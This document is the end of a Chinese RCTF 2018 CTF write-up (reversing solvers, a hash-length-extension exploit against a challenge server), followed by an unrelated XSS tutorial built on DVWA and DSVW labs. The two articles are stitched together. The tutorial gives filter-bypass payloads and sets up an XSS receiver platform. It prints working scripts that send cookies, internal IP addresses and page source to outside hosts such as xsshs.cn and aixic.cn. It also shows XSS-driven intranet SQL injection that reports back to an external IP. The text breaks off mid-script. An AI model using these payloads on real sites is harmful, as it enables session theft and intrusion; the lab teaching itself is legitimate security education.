加密后hex101010101010101010106B696F696B69000000000000000000007B797F797B,
猜出算法解密常量.
s = "1018431415474017101D4B121F49481853540157515305565A08585F0A0C5809".decode("hex")
ss = ""
for i in xrange(0,0x20):
ss = ss + ("%c" % ((0x20+i) ^ ord(s[i])))
print ss
字节码分析(未完成):
> 0130000000 jmp loc_30
> 1018431415474017101D4B121F49481853540157515305565A08585F0A0C5809
> 0001020304050600000000
>
> loc_30:
> 1500010000 set p
> loc_35:
> 0E ++p
> 12 read p
> 0B putchar
> 0C 00010000 35000000 loop [100]+1=0A+1=0B times
> 66
>
> 1510010000 set p
> loc_47:
> 0E ++p
> 0A getchar
> 66
> 16 write p
> 0C 10010000 47000000 loop [110]+1=1F+1=20 times
> 66
>
> loc_55:
>
> 03 40010000 mov reg1, [imm] [140] = 0x20 // xor key
> 10 mov reg2, reg1
> 11 F1000000 add reg1, imm 0xF1 = 0x111 // input offset
> 13 mov reg1, [reg1]
> 04 43010000 mov [imm], reg1 [0x143]
> 08 mov reg1, ~(reg2 & reg1)
> 04 41010000 mov [imm], reg1 [0x141]
> 10 mov reg1, reg2
> 03 40010000 mov reg1, [imm] [140]
> 08 mov reg1, ~(reg2 & reg1)
> 04 42010000 mov [imm], reg1
> 03 41010000 mov reg1, [imm]
> 03 43010000 mov reg1, [imm]
> 08 mov reg1, ~(reg2 & reg1)
> 10 mov reg1, reg2
> 03 42010000 mov reg1, [142]
> 08 mov reg1, ~(reg2 & reg1)
> 04 44010000 mov [144], reg1
> 66
> 03 40010000
> 11 F1000000
> 10
> 03 44010000
> 16
> 05 40010000
> 0E
> 06 40010000
> 0C 45010000 55000000
> 66
>
> locB6:
> 03 46010000 mov reg1 imm
> 11 05000000 add reg1, imm 0x05 // const offset
> 13 mov reg1,[reg1]
> 10 mov reg2, reg1
> 03 46010000 mov reg1 imm
> 11 11010000 add reg1 imm 0x0111
> 13 mov reg1,[reg1]
> 17 cmp //memcmp
> 18 60010000 jne
> 0C 46010000 B60000000
> 17
> 60
> 1000066000000000000000000000000000000
> 000000000000000000000000000000
> 0A // 100
> 496E70757420466C61673A
> 0000000F
> 1F // 110
>
> 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
> 20000000
> 00
>
> 1F1F0000000000000000000557726F6E670A52696768740A00000015500100000E120B0C50010000650100000000000000
> 1556010000
> 0E
> 12
> 0B
> 0C500100007B010000
> 0000000000
flag: **RCTF{09a71bf084a93df7ce3def3ab1bd61f6}**
### **magic**
第一部分校验_time64返回值. 找msvcrt._time64引用发现校验函数sub_402268,
用multiasm写shellcode调用程序自身代码跑time(运行前手动将00405020处0x100个字节复制到00404C00).
<0000000000404A00>
lea rax, [0000000000405FF0]
mov dword ptr ds:[rax], 0x5AFFE78F
@loop:
lea rdi, [0000000000405020]
lea rsi, [0000000000404C00]
mov rcx, 0x100
rep movsb
call 0x0000000000402268
lea rax, [0000000000405FF0]
mov eax, [rax]
cmp eax, 0x5B028A8F
jge short @breakme
lea rax, ds:[0x00000000004099D0]
mov eax, dword ptr ds:[rax]
test eax, eax
je short @loop
@breakme:
nop ; set a breakpoint here
@hooktime:
lea rcx, [0000000000405FF0]
mov eax, [rcx]
add eax, 1
mov [rcx], eax
ret
<0000000000402275>
call @hooktime
跑出time: 0x5B00E398
第二部分虚拟机. 断msvcrt.scanf找到校验函数sub_4023B1. 取26字节输入rc4(可能修改过)加密后传入虚拟机. 字节码分析:
> AB0300 mov r3, 00
> AB041A mov r4, 1A
> AB0066 mov r0, 66
> AA0502 mov r5, r2 ; r2 = input
> A953 add r5, r3
> A005 mov r5, [r5]
> AB06CC mov r6, CC
> A956 add r5, r6
> AB06FF mov r6, FF
> AC56 and r5, r6
> AE50 xor r5, r0
> AD00 neg r0
> AA0605 mov r6, r5
> AA0501 mov r5, r1 ; r1 = const
> A953 add r5, r3
> A005 mov r5, [r5]
> AF5600 div r5, 00 ; cmp r5, r6
> A701CC jcc reg5
> A935 add r3, r5
> AA0503 mov r5, r3
> AF5400 div r5, r4 ; cmp r5, r4
> A6D1CC jcc !reg5
常量解密:
b = [0x89, 0xC1, 0xEC, 0x50, 0x97, 0x3A, 0x57, 0x59, 0xE4, 0xE6, 0xE4, 0x42, 0xCB, 0xD9, 0x08, 0x22, 0xAE, 0x9D, 0x7C, 0x07, 0x80, 0x8F, 0x1B, 0x45, 0x04, 0xE8]
s = ""
k = [0x66,0x99]
for i in xrange(0, 26):
b[i] = b[i] ^ k[i & 1]
b[i] = (b[i]+0x100-0xCC) & 0xFF
s = s + ("%02X" % b[i])
print s
得到238CBEFD25D765F4B6B3B60FE174A2EFFC384ED21A4AB11096A5. 调试时手动替换rc4数据,
解密得"@ck_For_fun_02508iO2_2iOR}". 输入程序得到字符画:
the part of flag was protected by a magic spell!
@ck_For_fun_02508iO2_2iOR}
.843fFDCb52bc573DA7e336b4BCC97C6E.
.1adC4b19FEBA1Bf9D182FAe8Eac1AeBF.
.CB7EEFeD2B2D6dd76f bE D0 ec92.
.DD1C36EDBaf56 63b6 ad83 f5D a60D.
.28CCE56eaBbcF 0Bb9 ed7F 669 aff7.
. dC 83 4 bf a01 .
. DAB 2a0 CBD eB74 9eF6 0De 1Bf .
. E15 d55A276 7A4c fA7 eE72 dc7 .
. afB bE0fa2e 7Bf9 Eb14 6A5 891 .
. DCf c907BF9 aFBB 28eA 4dE aB1 .
. B25 c5B 16d d90f 0cb0 D78 Edd .
. aEA7 eDaD 07 743A 935 27d .
.D38f5b1FacEaBDeFBEEcbA4 0b9D0A0f.
.ce1A5DFCe012a0a62A5e2D8 8e38C9A.
.CC1b26fF12fC01f8aeB7cAC06c65FCbe.
.e663471A878EcE289bee7c11d7f8CF7b.
.--------------------------------.
@ck_For_fun_02508iO2_2iOR}
.--------------------------------.
flag: **rctf{h@ck_For_fun_02508iO2_2iOR}**
### **sql**
**指令集**<https://www.sqlite.org/opcode.html>
**类似与汇编代码。先初始化寄存器存的值，然后取值进行比较。**
**每行数值依次含义为**
**（用excel导入一下数据看起来比较清晰）**
**主要指令流程如下：**
goto 93
初始化一系列Interger和String到内存中
goto 2
OpenRead
Rewind # if the table or index is empty, jump to 91 (close)
循环Column（取值）、Function（调用substr(X,Y,Z)函数）、Ne（比较），简化如下：
# The substr(X,Y,Z) function returns a substring of input string X that begins
with the Y-th character and which is Z characters long.
r2,1,1,f
r6,3,1,a
r10,25,1,r
r14,14,1,g
r18,9,1,_
r22,12,1,f
r25,21,1,r
r28,18,1,_
r31,28,1,}
r35,15,1,a
r38,2,1,l
r42,13,1,_
r45,16,1,l
r48,27,1,a
r51,7,1,q
r55,10,1,r
r58,22,1,e
r62,4,1,g
r65,24,1,e
r68,20,1,s
r72,11,1,o
r76,8,1,s
r79,19,1,s
r82,6,1,l
r85,26,1,_
r88,23,1,v
r92,5,1,{
r96,17,1,f
（前三列为substr的三个参数，最后一列为用作比较的字符）
调整一下顺序可得flag
flag: **flag{lqs_rof_galf_esrever_a}**
### **compiler**
第一部分compiler, gcc编译helloworld.c, 在程序中发现字符串:
> RCTF_HINT1: Compiler flag part 1 is here, but where is part 2?
>
> You can think about this question: Why does this function exists in this
> binary?
>
> RCTF_HINT2: part 2 is not in gcc, dont waste you time.
断libc_start_main在栈中找到part1:"RCTF{Without".
第二部分bash, 先12次flag, 再2次prince(executable name为bash)跳过公主死亡的剧情, 继续flag得到hint:
> The flag is (part1, plain(hash1), plain(hash2), plain(hash3), '}').join('')
> The hashes of remaining flag is: 13340610174042144018, 95741437967718225,
> 484886919005526
> I know the queen hijacked me by a function which used this hash algorithm!
hijack用的是add_alias函数, hash算法在hash_insert中:
v4 = *string;
v5 = string;
for ( hash = 0LL; v4; v4 = *v5 )
{
++v5;
hash = v4 ^ 0x8B * hash;
}
穷举明文:
#include <stdio.h>
#include <stdint.h>
char buf[100];
void foo(int i, uint64_t val)
{
uint64_t base, v, ch;
int j;
if (val == 0)
{
for (j = i - 1; j >= 0; j--)
{
printf("%c", buf[j]);
}
printf("\n");
return;
}
base = val / 0x8B;
v = (base) * 0x8B;
ch = v ^ val;
if (ch >= 0x20 && ch < 0x7F)
{
buf[i] = ch;
foo(i + 1, base);
}
v = (base + 1) * 0x8B;
ch = v ^ val;
if (ch >= 0x20 && ch < 0x7F)
{
buf[i] = ch;
foo(i + 1, base + 1);
}
}
int main()
{
foo(0, 13340610174042144018);
printf("done\n");
foo(0, 95741437967718225);
printf("done\n");
foo(0, 484886919005526);
printf("done\n");
return 0;
}
> _no_seAms
> _NoR_nEe
> Dlework
flag: **RCTF{Without_no_seAms_NoR_nEeDlework}**
### **simple re**
校验函数sub_401482.
穷举第一段24个字符:
#include <stdio.h>
#include <stdint.h>
int main()
{
uint32_t aa[6], bb[6], cc[6], j;
uint64_t n, m;
char *p;
int i;
bb[0] = 0x556E4969;
bb[1] = 0x2E775361;
bb[2] = 0x893DAE7;
bb[3] = 0x96990423;
bb[4] = 0x6CF9D3E9;
bb[5] = 0xA505531F;
aa[0] = 0x54A0B9BD;
aa[1] = 0x4B818640;
aa[2] = 0x8EB63387;
aa[3] = 0xA9EABEFD;
aa[4] = 0xB8CDF96B;
aa[5] = 0x113C3052;
for (i = 0; i < 6; ++i)
{
for (j = 0; j != 0xFFFFFFFF; j++)
{
n = j * 0x100000000;
n += aa[i];
if (n % bb[i] == 0)
{
cc[i] = n / bb[i];
printf("cc[%d] == %08X\n", i, cc[i]);
break;
}
}
}
p = (char*)cc;
for (i = 0; i < 24; i++)
{
printf("%c", p[i]);
}
return 0;
}
> cc[0] == 4D5F6F35
> cc[1] == 5F796E40
> cc[2] == 69376E61
> cc[3] == 7665525F
> cc[4] == 69737233
> cc[5] == 545F676E
> 5o_M@ny_an7i_Rev3rsing_T
穷举第二段8个字符:
#include <stdio.h>
#include <stdint.h>
uint32_t foo1(uint16_t a1, uint16_t a2)
{
uint16_t v2; // ST16_2
uint16_t i; // [rsp+0h] [rbp-18h]
uint16_t v5; // [rsp+4h] [rbp-14h]
v5 = a1;
for (i = a2; i & v5; i = 2 * (i & v2))
{
v2 = v5;
v5 ^= i;
}
return i | v5;
}
uint32_t foo2(uint32_t x, uint32_t y, uint32_t n)
{
uint32_t yy; // [rsp+4h] [rbp-18h]
uint64_t v5; // [rsp+Ch] [rbp-10h]
uint64_t v6; // [rsp+14h] [rbp-8h]
yy = y;
v6 = 1LL;
v5 = x;
while (yy)
{
if (yy & 1)
v6 = v5 * v6 % n;
v5 = v5 * v5 % n;
yy >>= 1;
}
return v6;
}
int main()
{
char buf[8];
int i1, i2, i3, i4, i5, i6, i7, i8, i, j, v;
uint32_t *p1;
uint16_t *p2, *p3;
p1 = (uint32_t *)(buf + 0);
p2 = (uint16_t *)(buf + 4);
p3 = (uint16_t *)(buf + 6);
for (i1 = 0x20; i1 < 0x7F; i1++)
{
buf[4] = i1;
for (i2 = 0x20; i2 < 0x7F; i2++)
{
buf[5] = i2;
for (i3 = 0x20; i3 < 0x7F; i3++)
{
buf[6] = i3;
for (i4 = 0x20; i4 < 0x7F; i4++)
{
buf[7] = i4;
if (foo1(*p2, *p3) == 0xA496) // ----- {
for (i5 = 0x20; i5 < 0x7F; i5++)
{
buf[0] = i5;
for (i6 = 0x20; i6< 0x7F; i6++)
{
buf[1] = i6;
for (i7 = 0x20; i7 < 0x7F; i7++)
{
buf[2] = i7;
// -------- i8
buf[3] = 0;
v = 0;
for (i = 0; i < 8; i++)
{
v ^= buf[i];
}
i8 = 22 ^ v;
if (i8 < 0x7F && i8 > 0x20)
{
buf[3] = i8;
if (foo2(*p1, *p2, 0xF64BB17D) == 0x6F82C8DC)
{
for (i = 0; i < 8; i++)
{
printf("%c", buf[i]);
}
printf("\n");
}
}
}
}
}
}
}
}
}
}
return 0;
}
> echn!qu3
第33个字符's'
flag: **RCTF{5o_M@ny_an7i_Rev3rsing_Techn!qu3s}**
### **babyre2**
uint64_t data[8] =
{
0x2B7192452905E8FB,
0x7BA58F82BD898035,
0xA3112746582E1434,
0x163F756FCC221AB0,
0xECC78E6FB9CBA1FE,
0xDCDD8B49EA5D7E14,
0xA2845FE0B3096F8E,
0xAAAAAAAAAA975D1C,
};
uint64_t mull[8] =
{
0x20656D6F636C6557,
0x2046544352206F74,
0x6548202138313032,
0x2061207369206572,
0x6320455279626142,
0x65676E656C6C6168,
0x756F7920726F6620,
0xFFFFFFFFFFFF002E,
};
uint64_t modd = 0xFFFFFFFFFFFFFFC5;
(input[i] * mull[i]) % modd = data[i]
(A * mull) % modd = data 化成 A % modd = data*mull^(-1)
再A=data*mull^(-1) modd，然后上脚本
#-*- coding:utf-8 -*- flag = ""
def gcd(a,b):
while a!=0:
a,b = b%a,a
return b
#定义一个函数，参数分别为a,n，返回值为b
def findModReverse(a,m):#这个扩展欧几里得算法求模逆
if gcd(a,m)!=1:
return None
u1,u2,u3 = 1,0,a
v1,v2,v3 = 0,1,m
while v3!=0:
q = u3//v3
v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
return u1%m
print findModReverse(3,11)
d = 0xFFFFFFFFFFFFFFC5
a = [0x20656D6F636C6557,0x2046544352206F74,0x6548202138313032,0x2061207369206572,0x6320455279626142,0x65676E656C6C6168,0x756F7920726F6620,0xFFFFFFFFFFFF002E]
a_re = []
for i in a:
num = findModReverse(i,d)
#print hex(num)
a_re.append(num)
data = [0x2B7192452905E8FB,0x7BA58F82BD898035,0xA3112746582E1434,0x163F756FCC221AB0,0xECC78E6FB9CBA1FE,0xDCDD8B49EA5D7E14,0xA2845FE0B3096F8E,0xAAAAAAAAAA975D1C]
#for j in range(len(a)):
for k in range(len(a)):
#print k
num = (a_re[k] * data[k]) % d
print hex(num),hex(num)[2:-1].decode('hex')
flag += hex(num)[2:-1].decode('hex')[::-1]
print flag
## 0x04 Crypto
### **cpushop**
nc连接是个cpu商店，flag很贵买不起，支付时验证了order，order的sign由一个随机signkey和订单信息生成，可能存在哈希长度拓展攻击，通过修改价格买下flag
(打扰了，signkey的长度为random.randint(8,32))
通过哈希长度拓展攻击来修改订单价格
from pwn import *
import os
import hashpumpy
s=remote('cpushop.2018.teamrois.cn',43000)
s.recvuntil('Command:')
s.sendline('1')
s.recvuntil('Command:')
s.sendline('2')
s.recvuntil('Product ID:')
s.sendline('9')
s.recvuntil('Your order:')
s.recvline()
a=s.recvline()
timestamp=a[35:51]
sign=a[57:-1]
print a
print timestamp
print sign,len(sign)
for i in range(8,32):
hax=hashpumpy.hashpump(sign,'product=Flag&price=99999×tamp='+timestamp,'&product=Flag&price=9×tamp='+timestamp,i)
#print hax
payload=hax[1]+'&sign='+hax[0]
#print payload
s.recvuntil('Command:')
s.sendline('3')
s.recvuntil('Your order:')
s.sendline(payload)
pp=s.recvline()
print pp
if "Order" not in pp:
s.interactive()
s.interactive()
### **ECDH**
查阅资料得到：<https://github.com/esxgx/easy-ecc>
和几个关键字：ECDH、secp128r1、AES、ECB
github项目有4个函数：生成密钥、计算共享密钥、签名、验证签名
首先要问Alice和bob的公钥，然后交换给对方，Alice才会说出密文，Bob只会把密文告诉Alice
大概就是用中间人攻击获取明文
emm。。现在会生成密钥对了，但是不知道怎么解密。。
使用自己的私钥和Bob的公钥生成的共享密钥 解
Alice发出的密文：失败（其实是可以成功，就是要自己写脚本）
**过程：**
生成自己的密钥对
找bob要pubkey，顺便把自己的pubkey作为alice的pubkey给bob
结合自己的prikey和bob的pubkey生成shared_key
找bob把flag发给alice，再去alice那边接收密文
用shared_key作为密钥，用AES的ECB模式解密Alice给的密文
# -*- coding: utf-8 -*- # aes_decrypt.py
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
class AESCrypto():
def __init__(self,key):
self.key = key
self.mode = AES.MODE_ECB
def decrypt(self,text):
cryptor = AES.new(self.key,self.mode,b'0000000000000000')
plain_text = cryptor.decrypt(a2b_hex(text))
return plain_text
if __name__ == '__main__':
p_secret = '841747f83b3367c2331069ef167d0179'
print "key: ",p_secret
pc = AESCrypto(a2b_hex(p_secret))
e = '1d6002b9d8d721039c602a8c46fb4e2ea96d1bacf28e3c41635ea493df02f80e'
d = pc.decrypt(e)
print "ciphertext:",e
print "decrypt: ",d | 社区文章 |
本文由红日安全成员： Aixic 编写，如有不当，还望斧正。
大家好，我们是 **红日安全-Web安全攻防小组** 。此项目是关于Web安全的系列文章分享，还包含一个HTB靶场供大家练习，我们给这个项目起了一个名字叫
[Web安全实战](https://github.com/hongriSec/Web-Security-Attack)
，希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于 **漏洞简介-漏洞原理-漏洞危害-测试方法（手工测试，工具测试）-靶场测试（分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖）-实战演练**
（主要选择相应CMS或者是Vulnhub进行实战演练)，如果对大家有帮助请 **Star**
鼓励我们创作更好文章。如果你愿意加入我们，一起完善这个项目，欢迎通过邮件形式（sec-redclub@qq.com）联系我们。
# 1.XSS漏洞概述
## 1.1 漏洞简介
跨站脚本攻击—XSS（Cross Site
Script），是指攻击者通过在Web页面中写入恶意脚本，造成用户在浏览页面时，控制用户浏览器进行操作的攻击方式。假设，在一个服务端上，有一处功能使用了这段代码，他的功能是将用户输入的内容输出到页面上，很常见的一个功能。但是假如，这里输入的内容是一段经过构造的js。那么在用户再次访问这个页面时，就会获取使用js在用户的浏览器端执行一个弹窗操作。通过构造其他相应的代码，攻击者可以执行更具危害的操作。
## 1.2 XSS漏洞原理
### 1.2.1 反射型
非持久型，常见的就是在URL中构造，将恶意链接发送给目标用户。当用户访问该链接时候，会向服务器发起一个GET请求来提交带有恶意代码的链接。造成反弹型XSS
主要是GET类型
### 1.2.2 存储型
持久型，常见的就是在博客留言板、反馈投诉、论坛评论、将恶意代码和正文都存入服务器的数据库。每次访问都会触发恶意代码。
例如：`<srcipt>alert(/xss/)</srcipt>`
### 1.2.3 DOM型
DOM型是特殊的反射型XSS
在网站页面中有许多页面的元素，当页面到达浏览器时浏览器会为页面创建一个顶级的Document
object文档对象，接着生成各个子文档对象，每个页面元素对应一个文档对象，每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说，客户端的脚本程序可以通过DOM来动态修改页面内容，从客户端获取DOM中的数据并在本地执行。基于这个特性，就可以利用JS脚本来实现XSS漏洞的利用。
<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>
## 1.3 XSS危害
### 1.3.1 盗取管理员cookie
盗取管理员的cookie然后登陆后台，获取到后台权限。
### 1.3.2 XSS蠕虫攻击
可以构成几何的速度进行传播xss代码，获取大部分人的权限。一般配合csrf使用
## 1.4 常用XSS语句
<script>alert(/xss/);</script> //经典语句
<BODY ONLOAD=alert('XSS')>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href = javasript:alert(1)>
## 1.5 XSS漏洞绕过
### 1.5.1 JS编码
三个八进制数；如果不够前面补0
两个十六进制数字；如果不够前面补0
四个十六进制数字；如果不够前面补0
控制字符
### 1.5.2 HTML实体编码
以`&`开始`;`结束
### 1.5.3 URL编码
%27
考虑HTML的渲染方式选择合适的编码方式进行测试
## 1.6 XSS漏洞浏览器问题
有些浏览器会过滤掉一些js脚本，在测试的时候需要关闭对JavaScript的检测。
## 0x06 XSS漏洞防御
过滤输入的数据，和非法字符`‘ “ < > on* 等”’`
输出到页面的数据进行相应的编码转换包括HTML实体编码、JavaScript编码等
# 2\. 测试方法
## 2.1 手工测试
这里我们选取DVWA靶场进行手工测试。
### 2.1.1
### 2.1.1.1 DVWA 简介
DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
#### 2.1.1.2 DVWA 安装
https://github.com/ethicalhack3r/DVWA/archive/master.zip
本地PHPStudy搭建DVWA靶机，放入www目录下即可
环境使用PHP+MySQL即可。
修改config.inc.php.dist配置文件中的数据库密码，并且把文件后缀.dist去掉
因为是xss实验，所以上面的红字可无视，重置一下数据库进入靶场
用户名:admin 密码:password 登陆靶场
默认的难度是impossible级别，先选择low级别
#### 2.1.1.3 测试过程
**Low**
**Low_DOM XSS**
用`</option></select><img src=## onerror=alert(document.cookie)>`即可触发XSS
**Low_Reflected XSS**
直接使用`<script>alert(document.cookie)</script>`
**Low_Stored XSS**
**Medium**
**Medium_DOM XSS**
从Medium级别就开始有加固
可以看到它先判断default是否为空，如果不为空，判断下面判断GET输入进来的变量default是否存在`<script`如果存在就重定向到?default=English
用之前low级别的代码就可以进行绕过
</option></select><img src=## onerror=alert(document.cookie)>
**Medium_Reflected XSS**
分析发现现实判断是否为空，如果不为空再判断其中的内容如果有`<script>`就替换成空复写就可以绕过
<sc<script>ript>alert(document.cookie)</script>
**Medium_Stored XSS**
在信息框把所有的特殊字符都进行了addslashes转义，在name那块仍然可以用复写绕过、
但是name处限制了长度，改一下即可
**High**
**High_DOM XSS**
High级别的代码的限制就比较多，但是还能利用
只能选择case后面的参数来提交，如果不是就按照默认English
构造语句，这里的##是URL的锚点，让浏览器判断这里终止，主要是让本地存储这个xss语句，发送到服务端进行验证的是##前面的内容，达到了绕过的目的
English##<script>alert(document.cookie)</script>
**High_Reflected XSS**
上述代码进行了正则替换，只要包含script这些都会进行替换，不使用script即可
<img src=1 onerror=alert(document.cookie)>
**High_Stored XSS**
跟上面同理，在name处进行xss，仍然需要改name长度
**Impossible**
Impossible级别利用失败
## 无敌防御方法使用htmlspecialchars函数对输入的数据实例化，失去本身作用。
### 2.1.2 DSVW
#### 2.1.2.1 DSVW 简介
Damn Small Vulnerable Web (DSVW) 是使用 Python 语言开发的 Web应用漏洞 的演练系统。其系统只有一个 python
的脚本文件组成, 当中涵盖了 26 种 Web应用漏洞环境, 并且脚本代码行数控制在了100行以内, 当前版本v0.1m。需要python (2.6.x 或
2.7)并且得安装lxml库
#### 2.1.2.2 DSVW 安装
安装python-lxml，再下载DSVW
apt-get install python-lxml
git clone https://github.com/stamparm/DSVW.git
直接运行
如果出现ip无法访问的情况改一下代码即可
#### 2.1.2.3 测试过程
**XSS(Reflected)**
因为这个网站没有cookie，所以直接弹射信息
代码`<script>alert(/xss aixi/)</script>`
**XSS(Stored)**
<http://10.1.1.14:65412/?comment=%3Cscript%3Ealert(/xss%20aixi/)%3C/script%3E>
代码`<script>alert(/xss aixi/)</script>`
直接弹射
**XSS(DOM)**
?##lang=`<script>alert(/xss%20aixi/)</script>`
直接弹射
**XSS(JSON)**
看代码可发现
构造语句alert(/xss/)即可不用带script
## 2.2 工具测试
因为要测试所以需要关闭DVWA的登陆验证
加上$dvwaSession[ 'username' ]='admin';
在config/config.inc.php把默认难度也改成low
### 2.2.1 BruteXSS
下载链接
https://github.com/ym2011/penetration/tree/master/BruteXSS
测试过程中会因为DVWA的cookie验证严格出现问题，把dvwa的代码进行本地测试利用即可
### 2.2.2 xxser
Kali自带或下载链接
在基于Debian的系统上安装
sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip 使用
利用成功
## 2.3 XSS平台搭建
### 2.3.1 平台介绍
XSS平台可以辅助安全测试人员对XSS相关的漏洞危害进行深入学习，了解XSS的危害重视XSS的危害，如果要说XSS可以做哪些事情，XSS可以做js能够做的所有事情。包括但不限于：窃取Cookie、后台增删改文章、钓鱼、利用XSS漏洞进行传播、修改网页代码、网站重定向、获取用户信息（如浏览器信息，IP地址等）等。
XSS平台项目名称：BlueLotus_XSSReceiver
作者：firesun（来自清华大学蓝莲花战队）
项目地址：<https://github.com/firesunCN/BlueLotus_XSSReceiver>
### 2.3.2 平台环境
服务器操作系统：ubuntu14
web容器：Apache2
脚本语言：PHP7
安装http server与php环境（ubuntu: sudo apt-get install apache2 php5 或 sudo apt-get
install apache2 php7.0 libapache2-mod-php7.0）
### 2.3.3 平台部署
文件解压到www根目录
然后给个权限，为了防止出错
权限的问题已经解决了
打开网页访问admin.php进行自动部署，点击安装
设置一下后台登陆密码
点击下一步，部署成功
### 2.3.4 平台使用
登陆平台，在公共模版处使用默认js来进行
修改一下网站的地址
改成这样即可
点击下面的修改即可成功应用
下面开始使用这个默认的JS脚本进行XSS，复制一下js地址`https://aixic.cn/XXXSSS/template/default.js`
在DVWA中插入试试
<sCRiPt sRC=https://aixic.cn/XXXSSS/template/default.js></sCrIpT>
能成功反射cookie
### 2.3.5 平台扩展
#### 2.3.5.1 XSS平台反射注入
介绍一个之前在比赛看见有个师傅玩的操作，用xss进行内网SQL注入。ps:虽然他x错地方了而且跟注入没关系，但是看着挺好玩的，进行了一个简单的布尔判断xss
xmlhttp=new XMLHttpRequest();
var d1=new Date();
t1=d1.getTime();
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState==4 && xmlhttp.status==200){
var d2=new Date();
t2=d2.getTime();
location.href="http://123.207.99.17/id1?xssaaaa"+escape(xmlhttp.responseText)+"timeCost"+String(t2-t1);
}
}
xmlhttp.open("POST","/Ze02pQYLf5gGNyMn/login.php",true);
xmlhttp.send("username=admi/**/or/**/1&password=1");
#### 2.3.5.2 使用邮件提醒
设置一下config.php里的与邮件相关的
### 直接去别的XSS平台去扒他们的脚本，拿来就能用
如这个获取内网IP的脚本
var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection;
if (RTCPeerConnection) (function() {
var rtc = new RTCPeerConnection({
iceServers:[]
});
if (1 || window.mozRTCPeerConnection) {
rtc.createDataChannel("", {
reliable:false
});
}
rtc.onicecandidate = function(evt) {
if (evt.candidate) grepSDP("a=" + evt.candidate.candidate);
};
rtc.createOffer(function(offerDesc) {
grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc);
}, function(e) {
console.warn("offer failed", e);
});
var addrs = Object.create(null);
addrs["0.0.0.0"] = false;
function updateDisplay(newAddr) {
if (newAddr in addrs) return; else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function(k) {
return addrs[k];
});
new Image().src="https://xsshs.cn/xss.php?do=selfxss&act=g&id={projectId}&c=!!!cookie:"+document.cookie+"!!!ip:"+String(displayAddrs);
}
function grepSDP(sdp) {
var hosts = [];
sdp.split("\r\n").forEach(function(line) {
if (~line.indexOf("a=candidate")) {
var parts = line.split(" "), addr = parts[4], type = parts[7];
if (type === "host") updateDisplay(addr);
} else if (~line.indexOf("c=")) {
var parts = line.split(" "), addr = parts[2];
updateDisplay(addr);
}
});
}
})();
获取页面源码的脚本
var cr;
if (document.charset) {
cr = document.charset
} else if (document.characterSet) {
cr = document.characterSet
};
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch (e) {
}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = writeSource;
xmlHttp.open('GET', '{set.filename}', true);
xmlHttp.send(null);
function writeSource() {
if (xmlHttp.readyState == 4) {
var code = BASE64.encoder(xmlHttp.responseText);
xssPost('https://xsshs.cn/xss.php?do=api&id={projectId}', code);
}
}
function xssPost(url, postStr) {
var de;
de = document.body.appendChild(document.createElement('iframe'));
de.src = 'about:blank';
de.height = 1;
de.width = 1;
de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
de.contentDocument.forms[0].submit();
de.style.display = 'none';
}
/**
*create by 2012-08-25 pm 17:48
*@author hexinglun@gmail.com
*BASE64 Encode and Decode By UTF-8 unicode
*可以和java的BASE64编码和解码互相转化
*/
(function(){
var BASE64_MAPPING = [
'A','B','C','D','E','F','G','H',
'I','J','K','L','M','N','O','P',
'Q','R','S','T','U','V','W','X',
'Y','Z','a','b','c','d','e','f',
'g','h','i','j','k','l','m','n',
'o','p','q','r','s','t','u','v',
'w','x','y','z','0','1','2','3',
'4','5','6','7','8','9','+','/'
];
/**
*ascii convert to binary
*/
var _toBinary = function(ascii){
var binary = new Array();
while(ascii > 0){
var b = ascii%2;
ascii = Math.floor(ascii/2);
binary.push(b);
}
/*
var len = binary.length;
if(6-len > 0){
for(var i = 6-len ; i > 0 ; --i){
binary.push(0);
}
}*/
binary.reverse();
return binary;
};
/**
*binary convert to decimal
*/
var _toDecimal = function(binary){
var dec = 0;
var p = 0;
for(var i = binary.length-1 ; i >= 0 ; --i){
var b = binary[i];
if(b == 1){
dec += Math.pow(2 , p);
}
++p;
}
return dec;
};
/**
*unicode convert to utf-8
*/
var _toUTF8Binary = function(c , binaryArray){
var mustLen = (8-(c+1)) + ((c-1)*6);
var fatLen = binaryArray.length;
var diff = mustLen - fatLen;
while(--diff >= 0){
binaryArray.unshift(0);
}
var binary = [];
var _c = c;
while(--_c >= 0){
binary.push(1);
}
binary.push(0);
var i = 0 , len = 8 - (c+1);
for(; i < len ; ++i){
binary.push(binaryArray[i]);
}
for(var j = 0 ; j < c-1 ; ++j){
binary.push(1);
binary.push(0);
var sum = 6;
while(--sum >= 0){
binary.push(binaryArray[i++]);
}
}
return binary;
};
var __BASE64 = {
/**
*BASE64 Encode
*/
encoder:function(str){
var base64_Index = [];
var binaryArray = [];
for(var i = 0 , len = str.length ; i < len ; ++i){
var unicode = str.charCodeAt(i);
var _tmpBinary = _toBinary(unicode);
if(unicode < 0x80){
var _tmpdiff = 8 - _tmpBinary.length;
while(--_tmpdiff >= 0){
_tmpBinary.unshift(0);
}
binaryArray = binaryArray.concat(_tmpBinary);
}else if(unicode >= 0x80 && unicode <= 0x7FF){
binaryArray = binaryArray.concat(_toUTF8Binary(2 , _tmpBinary));
